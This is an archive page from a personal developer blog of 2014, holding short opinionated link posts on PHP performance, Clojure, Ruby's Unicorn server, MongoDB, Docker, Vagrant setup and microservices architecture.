$ssh annoying …$ scp some-file annoying: … Finally, the last step is to take advantage of alias in your shell. In your .profile (or .bash_profile, etc):

June 24th, 2014

# Refactoring fat models

I had a job interview at Bookspan.com.

At first I talked to a guy named Tom. I assumed he was the leader of the tech team, so I talked about my wide experience. He seemed confused by my recent experience with Ruby. He asked if I was a serious PHP programmer? I said a few negative things about PHP, since most corporations are now pulling away from it. PHP is going out of fashion (as you can see in this ...

June 24th, 2014

# Eventual consistency is probably the only consistency that one can hope for using Javascript and WebSockets

On the one hand, I am very impressed with this article: Eventual Consistency in Real-time Web Apps. On the other hand, how can anyone keep up with what is best practice in the land of Javascript, when every week seems to bring a new framework or methodology?

Having said that, I’ll point out that there is no way to ensure a 1-to-1 match between one’s backend model and one’s front-end model, so all one can do is pick one to ...

June 24th, 2014

# PHP-FPM with Nginx

I already linked to this, but I will link again because, seriously, this is one of the best setup tutorials I’ve seen:

One of the greatest strengths of PHP-FPM is its ability to scale its worker processes up and down as load on the server increases. PHP-FPM can have several “pools” of PHP handlers: one for each different Web application, with different numbers of worker processes and different rules about when to add more processes or kill idle processes.

Our needs ...

June 24th, 2014

# Docker is the future

Something like Docker is probably the future. Clearly, virtual machines is becoming a popular way to manage dependencies. However, Docker still has problems:

Misconception: If I use Docker then I don’t need a configuration management (CM) tool!

This is partially true. You may not need the configuration management as much for your servers with Docker, but you absolutely need an orchestration tool in order to provision, deploy, and manage your servers with Docker running on them.

This is where a tool like ...

June 17th, 2014

# Emacs struggles to get a good package manager

Kind of pathetic that the world’s best text editor only got package-support in 2012:

GNU Emacs 24 (released in June 2012) introduced official support for packages, that is, a way of installing extensions from a remote repository. This was a huge step forward for Emacs, as it not only allowed users to easily find and install extensions, but it also made it possible for extensions to build upon other extensions without having to tell the user “great you want to install ...

June 3rd, 2014

# The strange way my memory works

I was at a job interview today and I said “Do you remember that essay that James Garret wrote in 2004, in which he coined the acronym ‘AJAX’ “?

Feeling uncertain about what I said, when I got home I decided to check my facts, and found that his name is actually “Jesse James Garrett“.

I find it strange that my memory would hang onto his middle name rather than his first name.

I am also surprised that the term “AJAX” ...

June 1st, 2014

# Avoid overcrowding your web server with too many unneeded processes

This is some very good advice (I’ve been thinking of using Arch Linux for future projects, as I understand it is an extremely minimalist Linux):

Avoid overcrowding your web server with too many unneeded processes. For example, if your server is purely for web serving, avoid running (or even installing) X-Windows on the machine. On Windows, avoid running Microsoft Find Fast (part of Office) and 3-dimensional screen savers that result in 100% CPU utilization.

Some of the programs that you can consider ...

June 1st, 2014

# Using Apache Flood to test websites

I only just learned about Flood. In the past I used ab, which is a severely limited tool, in that it only sends HEAD requests. What I have often wanted is a tool that was as simple as ab, but which could send parameters, make a GET request, and give me more feedback than CURL. The XML config for flood suggests it is nowhere as easy to use as ab, but it still looks fairly simple and it looks like ...

June 1st, 2014

# How does PHP work

I like this graph about PHP execution. The white boxes show how things worked as long ago as PHP4 and the gray boxes show all the new and optional stuff:

Source

June 1st, 2014

# PHP and Squid

This is interesting:

Perhaps the most significant change to PHP performance I have experienced since I first wrote this article is my use of Squid, a web accelerator that is able to take over the management of all static http files from Apache. You may be surprised to find that the overhead of using Apache to serve both dynamic PHP and static images, javascript, css, html is extremely high. From my experience, 40-50% of our Apache CPU utilisation is in ...

June 1st, 2014

# Threads in a Unix process

While doing research for the post I just wrote about Joe Watkins and threads in PHP, I came across this graphic, which I thought did a nice job of showing threads in a Unix process:

Source

June 1st, 2014

# Setup is hard, and it wastes an extraordinary amount of developer time

I was just looking at this article, PHP with PHP-FPM, and it brought back memories of Timeout.com. All of the developers who worked at Timeout eventually had to set up the company CMS, and this was something of a hazing process, in that every developer later remembered the experience with dread. The CMS was a massive Symfony project — without question, the largest PHP code base I have encountered in 14 years of working with PHP. I’ll give you a ...

May 31st, 2014

# Using Xdebug to profile PHP

Interesting overview of using Xdebug:

I’ve sorted the execution time of each call in order to determine which calls are the most expensive. The call to the Default_Model_Platform model’s hot() method ranks up towards the top, and because I know this data changes only every few hours, now I can safely cache it and thereby eliminate this expensive database query (which is indeed a fairly large JOIN operation). After implementing caching I again profile the page and indeed have eliminated that ...

May 31st, 2014

# Do not ever use MemCache

#2. Use a Profiler

#3. Tone Down Error Reporting

#4. Take Advantage of PHP’s Native Extensions

#5. Use a PHP Accelerator

#6. Avoid Expensive Operations Through Memory Caching

Missing from the list is “Ask yourself if PHP is the correct language for what you are trying to do.” I think of this especially in regard to the 6th tip, about memory caching. If you start using something like MemCache, then you ...

May 31st, 2014

Is there a facility to use thread-local storage?

and Joe Watkins replies:

The static scope of a class entry can be considered thread local, in a way. Complex members (objects and resources) are nullified when creating new threads, but simple members (arrays/strings/numbers/mixture of any of the above) are copied, so in the static scope can be class::$config which contains connection info to whatever and class::$connection can be the connection itself, ...

May 31st, 2014

# In PHP, the foreach() loop is a performance murderer

I didn’t know this:

Source

May 31st, 2014

# Building a recommendation engine for one’s customers

This is a great overview of building a prediction engine. Some of the math is over my head. Of these approaches, the only one I have the slightest familiarity with is cosine similarity.

Source

May 4th, 2014

# The further rise of polyglot programming

Interesting:

Almost every language shows a long-term downhill trend. With the exception of Java and (recently) CSS, all of these languages have been decreasing. This was a bit of a puzzler and made me wonder more about the fragmentation of languages over time, which I’ll explore later in this post as well as future posts. My initial guess is that users of languages below the top 12 are growing in share to counterbalance the decreases here. It’s also possible that ...

May 2nd, 2014

# Design by contract in Clojure

I posted a comment here:

I have gotten in the habit of doing 2 things: 1.) I used :pre and :post conditions as you are doing here 2.) I also use dire so when the :pre or :post conditions fail and an Assert exception is thrown, I can capture the arguments and the return value and write a meaningful error message:

https://github.com/MichaelDrogalis/dire

I do a lot of this: :post [(:discount %)] I also test for value ranges: :post [ (> (:totals %) 100) (< (:totals %) 1000) ] I am thinking I might ...

April 21st, 2014

# What is the correct way to handle errors when making HTTP calls?

I like this:

I wanted a simpler solution that:

treated exceptions as exceptions was general enough to leverage clj-http exception gave informative error messages in the right place A quick side note on exceptions vs happy paths everywhere. Some will say a bad response isn’t an exception, but is something to be expected. I agree. This is something that should be handled at the app level though, and not the library level – if I get a 401 as an end user I expect to ...

April 21st, 2014

# The problem with frameworks

This is funny:

Let’s pretend I’ve decided to build a spice rack.

I’ve done small woodworking projects before, and I think I have a pretty good idea of what I need: some wood and a few basic tools: a tape measure, a saw, a level, and a hammer.

If I were going to build a whole house, rather than just a spice rack, I’d still need a tape measure, a saw, a level, and a hammer (among other things).

So I go to ...

April 21st, 2014

Late 2012 architecture Many open source components Memcache, redis, MySQL, etc. Necessarily heterogeneous Organized around services Distinct responsibilities Isolated from each other Distributed computation and data RPC between systems Multiplexing HTTP frontend Crucial for modularity, load balancing

Programming the datacenter Concerns include Partial failures Deep memory hierarchies Split heaps Dynamic topologies Changes in variance, latency tails Heterogeneous components Operator errors Taming the resulting complexity is the central theme of our work.

Source

April 21st, 2014

# Clojure versus Erlang

WhatsApp was recently bought by Facebook, for \$19 billion. This is the first time a startup had a big success, using Erlang as the basis for all of its technology.

The most stable commercial computing device in history is a telephone switch developed at Ericson and built with Erlang. It can handle millions of simultaneous connections, it has 1.7 million lines of code, and it averages 1 hour of downtime every 20 years.

The one language I would like to learn, other ...

April 21st, 2014

# Fast setup with Vagrant and Ruby 2.0

This is a good overview:

How to do it:

download and install Vagrant – I use version 1.2.7 You can check that with:

vagrant -v

You should see:

Vagrant version 1.2.7

create a folder for your Rails application and go to it

mkdir rorapp cd rorapp

vagrant init precise32 http://files.vagrantup.com/precise32.box

This is your virtual machine (server) that will hold and run your Rails application. If you check now, Vagrant created a config file in your rorapp folder, called Vagrantfile. You’ll change that a little on next step. make ...

April 21st, 2014

# Formal proofs for software: prove small theorems, not grand ones

Interesting:

For “you can’t prove anything big enough to be useful!”, consider the Quark project:

http://goto.ucsd.edu/quark/

showed you don’t need to prove a program of interesting size. You can defend millions of lines of buggy code with a “software firewall” made of formally verified code. Verify the right thousand lines of code that the rest needs to use to talk to anything else, and you have very strong security properties for the rest of the code. seL4 and CompCert are clearly also quite useful programs.

… I don’t think the technology ...

April 18th, 2014

# Kill your process and restart it is still a popular hack in Ruby land

I find it surprising that this is still accepted as best practice in the Ruby community:

But it’s not all bad news. The Ruby core developers are aware of the problem, and there are some changes (3GenGC, oldgen space estimation) being tested which may bring relief. But right now, for users of Ruby 2.1, this is a very real problem that could easily affect you in production. What did we do? We used a combination of Unicorn::OobGC and unicorn-worker-killer to help tame ...

April 18th, 2014

# Vagrant is easy

This page offers a simple explanation of how to start using Vagrant:

Getting Vagrant started

Before you can run vagrant, you’ll need to download and install a few things:

The Vagrant tool – This is the actual vagrant tool itself. It manages virtual machines Virtualbox – Virtualbox is the virtual machine where your code will run If you have an app that already has a Vagrantfile in it, it’s very easy to get started. At the command line change into the folder with the ...

April 18th, 2014

# What is devops?

A devop is like a sysadmin, so why do we need a new word? Because of the new emphasis on automation:

A DevOps person isn’t someone who develops, and who does Ops. It’s someone who does only Ops, but through Development.

The last time I looked for a senior sysadmin — less than a year ago — I didn’t get anyone who was comfortable programming in Perl/Python/Ruby until I started using the term DevOps.

There are companies where the developers are ...

April 8th, 2014

# Forked processes, concurrency, and memory problems

Last week I expressed my doubts about Unicorn (and the idea that it uses processes, therefore it uses Unix, therefore it must be good). Here is another article that looks at Unicorn, and in particular the memory consumption that goes along with forked processes:

Unicorn uses forked processes to achieve concurrency. Since forked processes are essentially copies of each other, this means that the Rails application need not be thread safe.

This is great because it is difficult to ensure that ...

April 7th, 2014

# Yahoo has some very stupid programmers

Good lord, why is this developer at Yahoo so slow on the uptake?

Thank you for your submission to Yahoo! Unfortunately we are unable to reproduce the bug due to insufficient information. Please provide us with a proof of concept or any other additional evidence required to reproduce the issue.

** The attacker would have to know the invitation id correct?

One has the sense that the person reporting the bug is shocked by the lack of concern shown by Yahoo:

d4d1a179c0f3 changed ...

April 7th, 2014

# The Clojure workflow still suffers and the REPL is not a cure all

Stuff like this happens to me:

Here is a scenario that you might recognize. You’ve done a pretty substantial refactor, including new dependencies in project.clj. You need to bounce the REPL. Knowing that this will take forever you immediately switch to Prismatic. 15 minutes later you look at your Emacs again where you notice that there is a syntax error so the REPL didn’t launch. You parse the impossibly long stack trace and fix the bug. cider-jack-in again and switch back ...

April 6th, 2014

# Behavior driven development is broken

This is very good:

If it takes you ten lines to communicate the idea of adding subpages, then you’ve wasted my time. I’m not alone in thinking this. BDD expert Elizabeth Keogh tells us:

“If your scenario starts with ‘When the user enters ‘Smurf’ into ‘Search’ text box…’ then that’s far too low-level. However, even “When the user adds ‘Smurf’ to his basket, then goes to the checkout, then pays for the goods” is also too low-level. You’re looking for something ...

April 5th, 2014

# Why has Linux not seen more forks?

Strong language, and strong opinions, as always, from Linus Torvalds. Now that I think about it, isn’t it amazing that Linux remains stable, even after all these years. I remember someone predicting, years ago, that Linux would split apart into a million useless forks, just like Unix did a long time ago. But that never happened. There are a lot of distros, but the kernel remains 100% under the control of Torvalds. That must mean people trust him. And ...

April 4th, 2014

# Using Gloss to change bytes into Clojure data structures

Interesting:

I started creating a very simple protocol to allow clients to connect via telnet. So it is:

PUT LSA |*

We have two main commands, PUT and LSA. For PUT, author is the guy speaking, via is who noted it, and the fact is the statement itself. And for LSA command, you can pass the author’s name and the system will return all the facts spoken by the author. * means you want to read all the facts.

Any other command ...

April 4th, 2014

# Hashmaps versus btrees

Interesting:

Unsuprisingly, a hash map performs far and above the rest. This is to be expected, mapping is exactly what hash maps are for and, in most situations, they should perform insertions and lookups with amortized O(1) time complexity. However, for situations where you made wish to preserve order, a tree may be a better choice. For that, you can see that a well-tuned btree was outperforming a red/black tree by more than 2 times.

As memory architectures begin to behave more ...

April 4th, 2014

# Just Libraries – the composition of small apps

Clojure favors the composition of small apps. The Clojure community has shown a resistance to monolithic frameworks like Rails. Now Immutant is moving further down the small app road.

For its second major release, Immutant will simply be a collection of libraries, one for each of the commodity services currently available to applications using an Immutant 1.x container: web, scheduling, messaging, caching, and transactions. These services will be provided by the following underlying components: Undertow, Quartz, HornetQ, Infinispan, and Narayana, ...

March 31st, 2014

# The worst web site ever: healthcare.gov

What an incredible disaster. I say this as a professional who develops websites. Several states, such as Kentucky, built their own web sites, which have worked great. But the Federal site, even 6 months after launch, remains a disaster.

This is the error message I got when I just now tried to sign up:

Today’s the last day to sign up for Obamacare if you’re planning on using the healthcare.gov website. Unfortunately for people who tried to log onto the ...

March 31st, 2014

# Java 8 has an Optional to deal with NullPointerException

I don’t think I am impressed with this. The idea is borrowed from Scala. I have no love for Java or Scala, and I only follow Java because it impacts Clojure. If this enables Clojure to do something clever with NullPointerException, then maybe I will reevaluate this.

Source

March 31st, 2014

# Content Security Policy and Ruby and Clojure

Although I love Clojure, I must admit that Ruby and Rails have an impressive depth of gems to help with every aspect of web development, including security. John P Hackworth recently wrote of the weakness of the Clojure eco-system, although his criticism is also an attack on the whole of idea of “small libraries that compose well” which amounts to an attack on the idea of “small pieces, loosely joined”. Clearly, good security can be achieved with small libraries that ...

March 31st, 2014

# Using Clojure to build a microservices CMS

Many of us become cynical about technologies that promise big breakthroughs in productivity, so we become overly careful in our choices, but this is a good question for managers to always be asking:

“Why would a large organisation with a mix of technologies and legacy systems want to muddy the waters with a completely new language?”

If you want to make the conservative choice, and stick with what you already have, you should be able to articulate the reasons as clearly as ...

March 30th, 2014

# eat food for food in foods when food isnt ‘chocolate’

Of the many attempts to re-invent Javascript, the mostly puzzling to me are those that do not fix any problems, and then invents some more. I realize there is a strong desire to borrow ideas from Ruby and bring them to Javascript, but where one can’t do that cleanly, one shouldn’t do it at all.

It’s a tool, that is all. Ambiguous code is a poorly thought out contrived example with a simple solution. To me, this: eat food for ...

March 30th, 2014

# Chris Granger: more problems with object oriented programming

At this point the evidence against object oriented programming seems overwhelming. I’ve linked to many articles here on this blog. Chris Granger offers another take on this issue:

Programming is unobservable

We can’t see how our programs execute. We can’t see how our changes affect our programs. And we can’t see how our programs are connected together. That basically means we can’t observe anything. The state of the art in observability is a stepwise debugger, which forces us to stop the world ...

March 30th, 2014

# NoSQL is a new of doing things, not a drop-in replacement for SQL

I like this:

Both NoSQL and Erlang had a burst of use and interest but because they were seen as silver bullets. Soon people realized you couldn’t simply translate your imperative code to Erlang and see improvements but instead regressions. Additionally, throwing your relational data at a NoSQL databases caused the same.

I feel the NoSQL culture and programmers haven’t retracted to the core yet as much as Erlang. Though Erlang may see another surge of misuse and misinterpretation now with the ...

March 27th, 2014

# The advantages of Ruby on Unicorn

This is an interesting way to look at things. Since so much of Ruby code is not thread safe, the fact that Unicorn spins up processes that don’t talk to each other is the most safe way to get concurrency in Ruby. That is a good point, though it is equivalent to saying “Since the code is broken, the the application server to do something weird to compensate for the brokenness.” Clearly, some people have good results with this, though ...

March 27th, 2014

# More negative views about Rails

Rails lacks a story for concurrency. This is written by a Go programmer. Their criticisms are similar to mine, though for me the answer is “use Clojure” and so I end up doing JVM tuning, which is brought up as something scary to keep people away from jRuby. My impression is that the case against jRuby is weaker than the case against MRI Ruby (the C version).

Rails is fundamentally – and catastrophically – slow.

This well-known set of webapp ...

March 25th, 2014

# If Unix is good for Unicorn, why can’t Unicorn handle slow connections?

In what I now think of as a famous essay, Ryan Tomayko said “I like Unicorn because it’s Unix“. There must be something to this because the essay has been widely quoted, and I remember it, and I have re-read 3 times in the last 4 years. It had an impact.

And yet, nothing in it convinced me to adopt that model. I rejected it and went ...

March 24th, 2014

# Photon could save PHP

I have been extremely critical of PHP for the last 2 years. See “Why PHP is obsolete“. However, I just stumbled across Photon, which seems to address some of the core problems I see with PHP (especially the lack of any tools for dealing with concurrency):

Why targeting Mongrel2?

Mongrel2 is a very well designed, high performance server developed by pragmatic users who do not like bloated software. The use of ZeroMQ as the communication hub makes it extremely flexible while keeping ...

March 24th, 2014

# The tremendous innovation in Javascript

There is no question that tremendous innovation is happening in the vast extended eco-system that touches upon Javascript. Sadly, I am not much interested in it. Maybe that is because I am not focused on the frontend right now. But also because I’m interested in solving these issues in other ways. All the same, Sam Ruby’s walkthrough of Angular.js is interesting:

We have a model, view, and controller on the client, seemlessly interacting with the model, view, and controller on ...

March 24th, 2014

# Radical workarounds for the limits of MongoDB

Whoa. This gives me interesting ideas:

To reduce lock contention, we decided to run multiple MongoDB instances on one machine and create more granular databases in each instance. Basically data is stored in different instances based on its usage and in every MongoDB instance one database is created for each partner.

Some people hate the fact that MongoDB forces you to do more in your own app, but I prefer designing with those constraints in mind.

This has similarities to ...

March 24th, 2014

I feel like I’ve been away from HTML for awhile. 10 years ago I thought of myself as having some design skill, and I did a lot of front-end work, but in 2009, I moved to New York City and worked in some big companies with strict divisions of labor. I was a backender, and backenders are never frontenders. So I’ve been away from the frontend for awhile. It is slowly becoming foreign territory to me. I was surprised to ...

March 24th, 2014

# Why is the technology for blogs so difficult?

The web is broken and can never be fixed. The only way forward is to start over again, to get rid of the Internet Protocol, the Transmission Control Protocol and the Hypertext protocol, and to invent a new protocol that fixes the problems with the old protocols. I am doubtful this can be achieved.

Back in 2005, David Heinemeier Hansson offered a Rails tutorial showing how you could create a blog in 15 minutes

:

This was a world changing moment. ...

March 24th, 2014

# Once again, the shift to “smart services, dumb pipes”

Yesterday I linked to the article over at Martin Fowler’s website where he wrote about the shift away from complex routing frameworks, towards a system of “smart services, dumb pipes”. Here is one more data point:

At Digg our SOA consisted of many Python backend services communicating with each other as well as being used by our PHP frontend servers and Tornado API servers. They used Apache Thrift for defining the interfaces, clients and as the underlying protocol.

…Coming off the Digg ...

March 24th, 2014

# Often businesses handle a degree of inconsistency in order to respond quickly to demand

Perfect consistency is too rigid for most businesses, and it is painful when technical teams try to enforce this on a company, out of some ideological commitment to doing things the “correct” computer science way. “Eventual consistency” has been the standard that businesses have striven after since the Arab-Hindu cultures first invented dual-entry accounting, more than 500 years ago, and this is the standard that tech teams should enable for the businesses they serve.

Choosing to manage inconsistencies in this ...

March 24th, 2014

# What kind of standards are useful to your team?

I love this:

Its a bit of a diochotomy that microservice teams tend to eschew the kind of rigid enforced standards laid down by enterprise architecture groups but will happily use and even evangelise the use of open standards such as HTTP, ATOM and other microformats.

The key difference is how the standards are developed and how they are enforced. Standards managed by groups such as the IETF only become standards when there are several live implementations of them in the wider ...

March 24th, 2014

# The conceptual model of the world will differ between systems

Decentralization of data management presents in a number of different ways. At the most abstract level, it means that the conceptual model of the world will differ between systems. This is a common issue when integrating across a large enterprise, the sales view of a customer will differ from the support view. Some things that are called customers in the sales view may not appear at all in ...

March 23rd, 2014

# A complexity that is frankly breathtaking

How can anyone possibly think this is a good idea?

To quote James Lewis and Martin Fowler:

Certainly, many of the techniques in use in the microservice community have grown from the experiences of developers integrating services in large organisations. The Tolerant Reader pattern is an example of this. Efforts to use the web have contributed, using simple protocols is another approach derived from these experiences – a reaction away from central standards that have reached a complexity that is, frankly, ...

March 23rd, 2014

# The pushback against the monolithic framework

I am pleased to think that others are as ready as I am to abandon the concept of the monolithic framework:

Monolithic applications can be successful, but increasingly people are feeling frustrations with them – especially as more applications are being deployed to the cloud . Change cycles are tied together – a change made to a small part of the application, requires the entire monolith to be rebuilt and deployed. Over time it’s often hard to keep a good modular ...

March 23rd, 2014

# Leave the error checking in your code

I leave the asserts in my Clojure code. I see a similarity of spirit expressed in the sentiment of James Hague (I especially like the use of the word “reckless”):

That error checking is great during development was not controversial, but opinions after that were divided. One side believed it wasteful to keep all that byte and cycle eating around when you knew it wasn’t needed. The other group claimed you could never guarantee an absence of bugs, and wouldn’t ...

March 23rd, 2014

# A defense of MongoDB

I posted this on Hacker News and now re-post it here.

MongoDB offers the greatest benefit to those who have an evolving concept of their schema, and that tends to be startups, though I have worked in large firms that entirely re-invented their schemas. I worry that I would seem tedious if I listed the places that I have worked, and yet, on Hacker News, when I speak in abstract terms, I tend to get downvoted, so I will name a ...

March 21st, 2014

# Announcing Humorus-MG

I just released Humorus-MG. This is an admin CMS for managing a collection in MongoDB. The app is written in Clojure.

The README contains an unintentional mini-manifesto of what I believe about creating web software. This part in particular comes close to summarizing the kind of software that I would like to create this year:

—————-

1.) This app will never have more than 2,000 lines of Clojure code. None of my apps will ...

March 20th, 2014

# Why I use MongoDB

I posted this on HackerNews. I am in agreement with what Jun Xu wrote.

I think this is true:

“For a technology startup with limited resources, broadly adopting a new DBMS means betting its own future on the DBMS. ”

It has become popular to attack MongoDB, but I think it is difficult to get an objective view of what people are doing with it. If you want to read a really scathing attack on MongoDB, consider this post:

http://www.sarahmei.com/blog/2013/11/11/why-you-should-never-use-mongodb/

But I recall reading that ...

March 9th, 2014

# Criticker gives away all of its users passwords

Criticker gives away all of its users passwords in plain text. Of course the site is written in PHP. While you can make mistakes in any language, this kind of laziness is what you expect in PHP.

Every request contains the secret key in the url. So all I need to do is capture a single request sent by the app and I have the key. Easy.

My theory was that I’d get the list of users that the app had ...

March 8th, 2014

# Working with images using Clojure

I am intrigued by Mike Anderson’s “imagez” library:

Source

March 8th, 2014

# How to monitor Clojure apps?

Interesting:

Powerful stream primitives

(where (or (service #”^api”) (service #”^app”)) (where (tagged “exception”) (rollup 5 3600 (email “dev@foo.com”)) (else (changed-state (email “ops@foo.com”)))))

Riemann streams are just functions which accept an event. Events are just structs with some common fields like :host and :service You can use dozens of ...

March 8th, 2014

# How to bankrupt a successful software company

Interesting:

Quark 5 and OS9 was what we were used to, but it was pretty miserable. The things that stick out:

Restarting your computer and losing your unsaved work over software freezes was a regular part of your day. Like, many times a day. We had all these crazy workarounds to achieve certain effects like drop shadows or change-and-repeat. It was all pretty rudimentary and hard to standardize across many designers in a department. Shapes were pretty much a non-issue, so we had to ...

March 7th, 2014

# The downside of Unit Testing

Interesting:

I’m back in Java-land these days, which is culturally very pro-unit testing. After getting exposed to it again for a few months again I’ve come to side with the author here. I’ve never really been comfortable with the amount of time certain people dedicate to unit testing, especially the TDD crowd, but in my hiatus something has arisen in popularity which has made it all the worse: mockito. Prior to mockito, unit testing was (more or less) limited to testing that ...

March 4th, 2014

# Darren Holloway walks through the philosophy of Ring/Clojure

Darren Holloway has written a post that should be added to the wiki on Github where Ring is hosted. He covers all the stuff that had me the most confused when I started doing web development with Clojure. He offers easy examples in pseudo-code to get the basic ideas across. I wish every project on Github had an introductory tutorial written in this style.

An excerpt:

Ring Conceptually

Technically, Ring isn’t a framework or an application, but rather a specification ...

March 4th, 2014

# What it is like to think you are talented when you are ignorant

Despite the “worst practices” approach, the thing worked.

I like this story very much. My own story is a bit different, circa 2000-2005 I built a CMS out of PHP, and I did eventually find good ways to structure it, and I remain an opponent of “object oriented programming”. But other than that, a lot of this story overlaps my own.

Despite what I now refer to as my “worst practices” approach, the thing worked. Every bad tutorial, every anti-PHP ...

March 3rd, 2014

# Emotional intelligence and success with Bitcoin

Or rather, maladaptive ways to deal with stress:

After Mt. Gox was hacked for the first time in summer of 2011, a friend asked Powell to help out, and soon, the San Francisco entrepreneur found himself on a plane to Tokyo. After landing, he rushed to Shibuya station, where he was met by his friend, Roger Ver, one of the world’s biggest bitcoin supporters who just happened to live across the street from Mt. Gox. Without bothering to drop off ...

March 3rd, 2014

# The difference between database indexes and database histograms

Several things occurred to me when I read this, some of them off-topic, including my use of MongoDb, and how I have been unthinkingly re-creating histograms without even giving them that name. I do not regard that as a problem with MongoDb, it gives flexibility by doing very little itself, everyone using it is hopefully aware of the need to re-create database functionality within one’s own app.

Then I asked myself the question: how does Oracle estimate that there are ...

March 3rd, 2014

# I still don’t get PAAS

This is the problem for me:

In my ideal world, deploying my apps wouldn’t require any platform-specific code, or if it did, that code would be portable between platforms.

If I have to be aware of my servers, at all, then I’m still doing sysadmin, and if I have to do sysadmin, I want all the tools of sysadmin. I don’t want to do sysadmin on a crippled account that limits my options. Maybe someday there will be a real PAAS such ...

March 1st, 2014

# What is correct HTML syntax?

Matias Meno of Colorglare asks the question “TO CLOSE OR NOT TO CLOSE?”

This is from Ian Hickson in 2006, regarding the emergence of HTML5:

Regarding your original suggestion: based on the arguments presented by the various people taking part in this discussion, I’ve now updated the specification to allow “/” characters at the end of void elements.

To which Sam Ruby responded:

This is big. PHP’s nl2br function is now HTML5 compliant. WordPress won’t have to completely convert to HTML4 before people who ...